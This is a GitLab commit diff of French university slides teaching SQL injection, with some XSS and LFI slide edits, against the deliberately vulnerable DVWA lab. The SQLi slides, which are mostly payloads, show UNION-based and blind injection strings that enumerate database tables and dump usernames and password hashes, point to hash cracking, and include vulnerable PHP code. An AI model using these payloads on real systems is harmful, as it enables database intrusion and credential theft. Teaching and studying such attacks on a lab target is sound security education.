Skip to content
Snippets Groups Projects
Commit 924c40b2 authored by Vincent Mazenod's avatar Vincent Mazenod
Browse files

SQLi

parent b6f9be2a
No related branches found
No related tags found
No related merge requests found
Pipeline #11389 passed
......@@ -29,18 +29,19 @@ Tags: cours
* [Drupalgeddon](slides/1337/drupalgeddon.html)
* [captcha](slides/1337/captcha.html)
<!-- * [Shellshock](slides/1337/shellshock.html)-->
<!--
## Pentesting
<hr />
* [Collecter](slides/1337/gathering.html)
* [Détecter](slides/1337/detecting.html)
<!-- * [Shellshock](slides/1337/shellshock.html)
## Se protéger
## Pentesting
* [Top10](slides/1337/top10.html)
* [anticiper](slides/1337/anticiper.html)
-->
* [Collecter](slides/1337/gathering.html)
* [Détecter](slides/1337/detecting.html)
## Se protéger
* [Top10](slides/1337/top10.html)
* [anticiper](slides/1337/anticiper.html) -->
<div class="panel panel-success">
<div class="panel-heading">
......
content/slides/1337/images/sqli/select2input.png

33.6 KiB

......@@ -2,6 +2,11 @@
## aka LFI / RFI
<i class="fa-brands fa-firefox-browser"></i> / <i class="fa-solid fa-desktop"></i>
<br /><br /><br /><br /><br /><br />
<small> tapez `<prez>.html?<username-uca>` dans votre navigateur pour suivre le cours avec votre nom de vm</small>
### Local File Inclusion / Remote File Inclusion
<small>nom d'utilisateur uca pour personnaliser les liens des slides:</small>
......
......@@ -106,6 +106,10 @@ install [Proxy Switcher and Manager](https://addons.mozilla.org/fr/firefox/addon
![ff proxy settings / step 6](images/lab/ff-proxy-step-6.png)
## Web developper addons
https://chrispederick.com/work/web-developer/
## DVWA
* htaccess to protect vm
......
# Injection SQL
## aka SQLi
![SQLi](images/sqli/sqlinjection_comics.png "SQLi")
## aka SQLi
<i class="fa-brands fa-firefox-browser"></i> / <i class="fa-solid fa-desktop"></i>
<small> tapez `<prez>.html?<username-uca>` dans votre navigateur pour suivre le cours avec votre nom de vm</small>
### <i class="fa fa-cogs"></i> Principe
* Une application envoie des données
* non **sanitized** à un interpréteur
* L'attaquant envoie des séquences de texte permettant d'exploiter l'interpréteur visé (**payload**)
* toutes sources de données peut être utilisées
* paramètres HTTP, PATH_INFO, cookies, en-têtes HTTP, fichiers uploadés
* au niveau de la requête [et de la réponse <i class="fa fa-reddit"></i>](http://i.imgur.com/8khrzf9.png)
### <i class="fa fa-cogs"></i> SQLi
* envoie de données à un interpréteur
* l'attaquant envoie des séquences de texte malicieuses permettant d'exploiter l'interpréteur visé (**payload**)
* toute source de données peut être utilisées
* paramètres HTTP, PATH_INFO,`cookies, en-têtes HTTP, fichiers uploadés
* au niveau de la requête [et de la réponse <i class="fab fa-reddit"></i>](http://i.imgur.com/8khrzf9.png)
### <i class="fa fa-user-secret"></i> Que peut on faire?
* Lire des données "protégées"
* Corrompre des données
* Dénis de services
* Lecture / écriture sur le système de fichiers
* Exécution de commandes arbitraires
### <i class="fas fa-ice-cream"></i> SQLi / types
Note:
- marche pour tout interpréteur LDAP, XML, bash (shellshock)
- détectable aux messages d'erreur en cas d'input invalide
- SQL universel ce qui rend la faille très populaire
- au moment de l'exploitation il faut connaître le SGBD poru aller plus loin
- écriture dans des fichiers
- passer des commandes via xp_commandshell pour un server MSSQL
- potentielle compromission totale
- exécution de code
- backdoor
- local root exploit
* [topologie](https://www.linkedin.com/grp/post/36874-130061102)
* [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection)
* cas simple où les messages d'erreur base de données sont affichés
* [SQL Injection (Blind)](https://owasp.org/www-community/attacks/Blind_SQL_Injection)
* cas plus complexe où les messages d'erreur base de données **ne** sont **pas** accessibles
* Un comportement différent selon que la **payload** est exécutée ou non
## [Différents types](https://www.linkedin.com/grp/post/36874-130061102)
#### [<i class="fa fa-eye"></i> Error-based](https://www.owasp.org/index.php/SQL_Injection)
* Les messages d'erreur mysql sont accessibles
### <i class="fa-solid fa-bomb"></i> SQLi / payloads
#### [<i class="fa fa-check-square"></i> Boolean (Blind)](https://www.owasp.org/index.php/Blind_SQL_Injection)
* lire des données "protégées"
* corrompre des données
* dénis de services
* lecture / écriture sur le système de fichiers
* exécution de commandes arbitraires
* Pas de message d'erreur
* Un comportement différent selon que la **payload** est exécutée ou non
* nécessite en général d'itérer
* avec un LIKE par exemple pour déduire lettre par lettre
### <i class="fa-solid fa-bomb"></i> SQLi / low
## [Différents types](https://www.linkedin.com/grp/post/36874-130061102)
* détectable en tentant les caractères d'échappement **"** ou **'** en
<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=%27&Submit=Submit#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=%27&Submit=Submit#)</small>
#### [<i class="fa fa-eye-slash"></i> (true) Blind](https://www.owasp.org/index.php/Blind_SQL_Injection)
* L'idée est d'utiliser les commentaires **#** ou **--** pour terminer prématurément l'exécution du SQL
```
User ID: ' OR 1=1 #
```
* affiche la liste de tous les utilisateurs
* Pas de message d'erreur
* Pas de moyen de savoir si la **payload** a été éxécutée ou non
* cas d'une redirection systématique
* nécessite en général d'itérer
* avec un LIKE par exemple pour déduire lettre par lettre
<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=%27+OR+1%3D1+%23&Submit=Submit#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=%27+OR+1%3D1+%23&Submit=Submit#)</small>
Note:
- boolean type: formulaire d'authentification
- erreur en cas d'échec
- drapeau rouge
- home page en cas de succés
- drapeau vert
- attention une 404 ou une 500 peut être le drapeau vert
- blind typique
- accès à un contenu privé www.example.org/display.php?item=1'
- redirige systématiquement sur la page d'authentification
- l'idée est de charger la requête et de chronomtérer le temps d'exécution
- une requête invalide ne sera pas exécuté donc le temps de réponse sera inférieur au temps d'une requêt valide qui sera exécuté
- Benchmark() MySQL
- WaitFor() MSSQ
## <i class="fa fa-eye"></i> [SQLi](https://www.owasp.org/index.php/SQL_Injection) Error-based
L'idée est d'utiliser les commentaires pour terminer prématurément l'exécution du SQL
```php
$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows($result);
$i = 0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
}
```
<i class="fa-solid fa-bullseye"></i> on cherche les mots de passe des utilisateurs
## <i class="fa fa-eye"></i> [SQLi](https://www.owasp.org/index.php/SQL_Injection) Error-based
### <i class="fa-solid fa-bomb"></i> SQLi / low
détectable en tentant une simple **'** en entrée
déterminer le nombre de paramètres de la requêtes
```
User ID: ' OR 1=1 ORDER BY 1 #
```
```http
http://dv.wa/vulnerabilities/sqli/?id='&Submit=Submit#
```
<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=%27+OR+1%3D1+ORDER+BY+2+%23&Submit=Submit#](https://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=%27+OR+1%3D1+ORDER+BY+2+%23&Submit=Submit#)</small>
<small><i class="fa-solid fa-circle-xmark"></i> [/vulnerabilities/sqli/?id=%27+OR+1%3D1+ORDER+BY+3+%23&Submit=Submit#](https://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=%27+OR+1%3D1+ORDER+BY+3+%23&Submit=Submit#)</small>
produit
<i class="fa-solid fa-trophy"></i> il y a 2 champs dans la clause SELECT
### <i class="fa-solid fa-bomb"></i> SQLi / low
repérer qui est qui?
```
User ID: 6' UNION SELECT 1,2 #
```
```
First name: 1
Surname: 2
```
afficher la base de données et l'utilisateur courant
```
User ID: 6' UNION SELECT database(),current_user() #
```
```
First name: dvwa
Surname: dvwa@localhost
```
<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=6%27+UNION+SELECT+database%28%29%2Ccurrent_user%28%29+%23&Submit=Submit#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=6%27+UNION+SELECT+database%28%29%2Ccurrent_user%28%29+%23&Submit=Submit#)</small>
<i class="fa-solid fa-book-skull"></i> **UNION** ou **Cross table**
### <i class="fa-solid fa-bomb"></i> SQLi / low
afficher toutes les tables de la base de données `dvwa` via la table virutelle [information_schema](http://dev.mysql.com/doc/refman/5.1/en/information-schema.html)
```
You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for
the right syntax to use near ''''' at line 1
User ID: 6' UNION SELECT table_name,2
FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_SCHEMA = 'dvwa' #
```
intéressant!
<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=6%27+UNION+SELECT+...+TABLE_SCHEMA+%3D+%27dvwa%27+%23&Submit=Submit#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=6%27+UNION+SELECT+table_name%2C2+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA+%3D+%27dvwa%27+%23&Submit=Submit#)</small>
## [SQL Injection - security low](http://dv.wa/vulnerabilities/sqli_blind/)
### <i class="fa-solid fa-bomb"></i> SQLi / low
sensible à (version human readable)
```http
http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1#&Submit=Submit
afficher les noms de colonnes de la tables `users` via la table virutelle [information_schema](http://dev.mysql.com/doc/refman/5.1/en/information-schema.html)
```
User ID: 6' UNION SELECT column_name,2
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_SCHEMA = 'dvwa' #
```
soit en version encodée
<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=6%27+UNION+SELECT...+TABLE_SCHEMA+%3D+%27dvwa%27+%23&Submit=Submit#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=6%27+UNION+SELECT+column_name%2C2++++FROM+INFORMATION_SCHEMA.COLUMNS++++WHERE+TABLE_SCHEMA+%3D+%27dvwa%27+%23&Submit=Submit#)</small>
```http
http://dv.wa/vulnerabilities/sqli/?id=%27+OR+1%3D1+%3B%23%23&Submit=Submit
### <i class="fa-solid fa-bomb"></i> SQLi / low
afficher les champs `user` & `password` de la table `users`
```
User ID: 6' UNION SELECT user,password FROM users #
```
affiche la liste de tous les utilisateurs
<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=6%27+UNION+SELECT+user%2Cpassword+FROM+users+%23&Submit=Submit#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=6%27+UNION+SELECT+user%2Cpassword+FROM+users+%23&Submit=Submit#)</small>
**<i class="fa fa-bomb"></i> on peut mieux faire !!**
<i class="fa-solid fa-screwdriver-wrench"></i> [crackstation.net](https://crackstation.net/) pour une **rainbow attack** ou attaque par **tables arc-en-ciel**
Note:
- je donne les urls en mode human readable
- les valeurs sont à copier dans le champs
- PAS dans l'url
- se détecte avec juste ' ou en fuzzant plus large
- fuzzdb/attack-playloads/sql-injection/detect/MySQL.fuzz.txt
- fuzzdb/attack-playloads/attack-payloads/all-attacks
- tester avec Burp
- avec la hackbar
- mettre un flag grep SQL
- filtrer par length, error, et flag SQL
### <i class="fa-solid fa-bomb"></i> SQLi / medium
## [SQL Injection - security low](http://dv.wa/vulnerabilities/sqli_blind/)
![select2input](images/sqli/select2input.png "select2input")
détection
```http
http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1 ORDER BY 5#&Submit=Submit
```
User ID: ' OR 1=1 #
```
affiche un message d'erreur
<i class="fa-solid fa-circle-xmark"></i> a priori les **'** sont échappés
```http
http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1 ORDER BY 2#&Submit=Submit
### <i class="fa-solid fa-bomb"></i> SQLi / medium
```
User ID: 1 OR 1=1 #
```
est exécutée
<i class="fas fa-circle-check"></i> le paramètre id est un entier
reprendre les étapes SQLi / low en remplacant
```http
http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1 ORDER BY 3#&Submit=Submit
```
User ID: 6' ... #
```
affiche un message d'erreur
<i class="fa-solid fa-arrow-right-arrow-left"></i>
**<i class="fa fa-trophy"></i> par dichotomie**
```
User ID: 6 ... #
```
**il y a 2 champs dans la clause SELECT**
<small>
Note:
- va nous permettre d'étendre les requêtes à d'autres tables
`TABLE_SCHEMA = 'dvwa'`
<i class="fa-solid fa-arrow-right-arrow-left"></i>
## [<i class="fa fa-eye"></i> SQLi - security low](http://dv.wa/vulnerabilities/sqli_blind/)
`TABLE_SCHEMA = CHAR(100,118,119,97)`
```http
http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1 UNION SELECT NULL, user()#&Submit=Submit
```
</small>
affiche l'utilisateur courant (mysqlusername@mysqlhost) à la fin de la liste des users
```http
http://dv.wa/vulnerabilities/sqli/?id=' or 0=0 UNION SELECT NULL, database()#&Submit=Submit
```
### <i class="fa-solid fa-bomb"></i> SQLi / high
affiche le nom de la base de données à la fin de la liste des users
Toutes la séquence SQLi / low est valide
## [<i class="fa fa-eye"></i> SQLi - security low](http://dv.wa/vulnerabilities/sqli_blind/)
### <i class="fa-solid fa-bomb"></i> Blind SQLi / low
```http
http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, table_name FROM information_schema.tables#&Submit=Submit
* plus de message d'erreur
* plus d'affichage des champs
* identifier les comportements
```
User ID: 1
```
```
User ID exists in the database.
```
```
User ID: 6
```
```
User ID is MISSING from the database.
```
* affiche toutes les tables via la table virutelle [information_schema](http://dev.mysql.com/doc/refman/5.1/en/information-schema.html)
* quand on fait de l'**UNION** de deux tables distincts on parle de **Cross table**
```http
http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, table_name FROM information_schema.tables WHERE table_name LIKE '%user%'#&Submit=Submit
### <i class="fa-solid fa-bomb"></i> Blind SQLi / low
* identifier les comportements
* on sait que l'utilisateur 1 existe
```
User ID: 1' AND '1' = '2' #
```
```
User ID is MISSING from the database.
```
```
User ID: 1' AND '1' = '1' #
```
```
User ID exists in the database.
```
affiche toutes les tables qui contiennent user
<i class="fa-solid fa-trophy"></i> il y a une injection
## [<i class="fa fa-eye"></i> SQLi - security low](http://dv.wa/vulnerabilities/sqli_blind/)
### <i class="fa-solid fa-bomb"></i> Blind SQLi / low
```http
http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, concat(table_name,0x0a,column_name) FROM information_schema.columns WHERE table_name = 'users'#&Submit=Submit
déterminer le nom de la base de données
```
1' AND ORD(MID(DATABASE(),1,1)) = 100 #
```
* affiche toutes les champs de la table user
* `DATABASE()` : renvoie la chaîne "dvwa"
* `MID(DATABASE(),1,1)` : renvoie le première caractère de la chaîne retournée par `DATABASE()`
* `ORD()` : renvoie l'équivalent décimal du caractère en paramètre
```http
http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) FROM users#&Submit=Submit
### <i class="fa-solid fa-bomb"></i> Blind SQLi / low
déterminer le nombre de caractère dans le nom de la base de données
```
1' AND LENGTH(DATABASE()) = 4 #
```
* affiche toutes les valeurs des champs *user* et *password* de la table user
déterminer le nom de la base de données
* reste à brute forcer
```
1' AND ORD(MID(DATABASE(),1,1)) = 100 # d
1' AND ORD(MID(DATABASE(),2,1)) = 118 # v
1' AND ORD(MID(DATABASE(),3,1)) = 119 # w
1' AND ORD(MID(DATABASE(),4,1)) = 97 # a
```
## [<i class="fa fa-eye"></i> SQLi - security low](http://dv.wa/vulnerabilities/sqli_blind/)
......
......@@ -3,6 +3,8 @@
## aka cross site script
<i class="fa-brands fa-firefox-browser"></i>
<br /><br /><br /><br /><br /><br />
<small> tapez `<prez>.html?<username-uca>` dans votre navigateur pour suivre le cours avec votre nom de vm</small>
### <i class="fas fa-cogs"></i> XSS
......
......@@ -7,11 +7,11 @@
<title>SQLi</title>
<link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
<link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css">
<link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/black.css">
<!-- Theme used for syntax highlighting of code -->
<link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
<link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css">
<link rel="stylesheet" href="../../node_modules/@fortawesome/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../main.css">
<!-- Printing and PDF exports -->
......@@ -35,7 +35,7 @@
</div>
</div>
<script src="../../node_modules/reveal.js/lib/js/head.min.js"></script>
<!-- script src="../../node_modules/reveal.js/lib/js/head.min.js"></script -->
<script src="../../node_modules/reveal.js/js/reveal.js"></script>
<script>
......@@ -66,5 +66,6 @@
]
});
</script>
<script src="../main.js"></script><script src="../main.js"></script>
</body>
</html>
......@@ -45,6 +45,10 @@ reveal code {
color: yellow;
}
.fa-trophy {
color: yellow;
}
.fa-medkit {
color: pink;
}
......@@ -63,4 +67,12 @@ reveal code {
.fa-firefox-browser {
color: orange;
}
.fa-bullseye {
color:orangered
}
.fa-book-skull, .fa-screwdriver-wrench {
color: grey;
}
\ No newline at end of file
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment